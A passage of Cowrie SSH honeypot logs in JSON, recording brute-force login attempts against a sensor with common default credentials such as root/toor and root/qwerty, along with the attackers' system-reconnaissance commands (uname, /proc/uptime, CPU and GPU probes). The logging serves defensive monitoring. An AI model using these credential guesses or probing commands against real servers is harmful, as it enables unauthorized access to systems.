\"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:37.868868Z","src_ip":"91.92.240.199","session":"93f8d75046f1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:37.871687Z","src_ip":"91.92.240.199","session":"93f8d75046f1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m 2 > /dev/null","message":"CMD: uname -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:37.874710Z","src_ip":"91.92.240.199","session":"93f8d75046f1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/uptime 2 > /dev/null | cut -d. -f1","message":"CMD: cat /proc/uptime 2 > /dev/null | cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:37.877726Z","src_ip":"91.92.240.199","session":"93f8d75046f1","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -d. -f1","message":"Command not found: cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:37.880786Z","src_ip":"91.92.240.199","session":"93f8d75046f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:38.100560Z","src_ip":"101.44.96.62","session":"ad3200bc68f2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","size":74,"shasum":"a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:38.487431Z","src_ip":"91.92.240.199","session":"93f8d75046f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:38.493022Z","src_ip":"91.92.240.199","session":"93f8d75046f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":59066,"dst_ip":"159.203.135.109","dst_port":22,"session":"66bfdf7e328c","protocol":"ssh","message":"New connection: 101.44.96.62:59066 (159.203.135.109:22) [session: 66bfdf7e328c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:49.492192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:49.496472Z","src_ip":"101.44.96.62","session":"66bfdf7e328c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:49.713298Z","src_ip":"101.44.96.62","session":"66bfdf7e328c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:50.354327Z","src_ip":"101.44.96.62","session":"66bfdf7e328c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:50.813495Z","src_ip":"101.44.96.62","session":"66bfdf7e328c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:50.816087Z","src_ip":"101.44.96.62","session":"66bfdf7e328c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:51.033293Z","src_ip":"101.44.96.62","session":"66bfdf7e328c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:51.038109Z","src_ip":"101.44.96.62","session":"66bfdf7e328c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":37532,"dst_ip":"159.203.135.109","dst_port":22,"session":"572a4770448f","protocol":"ssh","message":"New connection: 195.178.110.218:37532 (159.203.135.109:22) [session: 572a4770448f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:54.422141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:54.426743Z","src_ip":"195.178.110.218","session":"572a4770448f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:54.507513Z","src_ip":"195.178.110.218","session":"572a4770448f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"root","message":"login attempt [solana/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:54.746934Z","src_ip":"195.178.110.218","session":"572a4770448f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:55.829699Z","src_ip":"195.178.110.218","session":"572a4770448f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":56206,"dst_ip":"159.203.135.109","dst_port":22,"session":"01b2f7bef6ff","protocol":"ssh","message":"New connection: 101.44.96.62:56206 (159.203.135.109:22) [session: 01b2f7bef6ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:03.012726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:03.135882Z","src_ip":"101.44.96.62","session":"01b2f7bef6ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:03.352756Z","src_ip":"101.44.96.62","session":"01b2f7bef6ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"123456","message":"login attempt [flask/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:04.005366Z","src_ip":"101.44.96.62","session":"01b2f7bef6ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:05.226132Z","src_ip":"101.44.96.62","session":"01b2f7bef6ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":56024,"dst_ip":"159.203.135.109","dst_port":22,"session":"10bee3c8e55f","protocol":"ssh","message":"New connection: 101.44.96.62:56024 (159.203.135.109:22) [session: 10bee3c8e55f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:16.525707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:16.530273Z","src_ip":"101.44.96.62","session":"10bee3c8e55f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:16.747693Z","src_ip":"101.44.96.62","session":"10bee3c8e55f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:17.398043Z","src_ip":"101.44.96.62","session":"10bee3c8e55f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:18.617617Z","src_ip":"101.44.96.62","session":"10bee3c8e55f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":34348,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac7301ec68a6","protocol":"ssh","message":"New connection: 101.44.96.62:34348 (159.203.135.109:22) [session: ac7301ec68a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:29.954886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:29.959198Z","src_ip":"101.44.96.62","session":"ac7301ec68a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:30.175015Z","src_ip":"101.44.96.62","session":"ac7301ec68a6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"toor","message":"login attempt [root/toor] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:30.822865Z","src_ip":"101.44.96.62","session":"ac7301ec68a6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:31.286099Z","src_ip":"101.44.96.62","session":"ac7301ec68a6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:31.288526Z","src_ip":"101.44.96.62","session":"ac7301ec68a6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:31.504951Z","src_ip":"101.44.96.62","session":"ac7301ec68a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:31.509597Z","src_ip":"101.44.96.62","session":"ac7301ec68a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":57808,"dst_ip":"159.203.135.109","dst_port":22,"session":"94866692c898","protocol":"ssh","message":"New connection: 101.44.96.62:57808 (159.203.135.109:22) [session: 94866692c898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:43.525454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:43.532077Z","src_ip":"101.44.96.62","session":"94866692c898","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:43.744734Z","src_ip":"101.44.96.62","session":"94866692c898","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qwerty","message":"login attempt [root/qwerty] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:44.603603Z","src_ip":"101.44.96.62","session":"94866692c898","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:45.072376Z","src_ip":"101.44.96.62","session":"94866692c898","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:45.075456Z","src_ip":"101.44.96.62","session":"94866692c898","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:45.295042Z","src_ip":"101.44.96.62","session":"94866692c898","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:45.298322Z","src_ip":"101.44.96.62","session":"94866692c898","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.240.199","src_port":36528,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5ddf98451c5","protocol":"ssh","message":"New connection: 91.92.240.199:36528 (159.203.135.109:22) [session: d5ddf98451c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:52.154145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:52.342540Z","src_ip":"91.92.240.199","session":"d5ddf98451c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-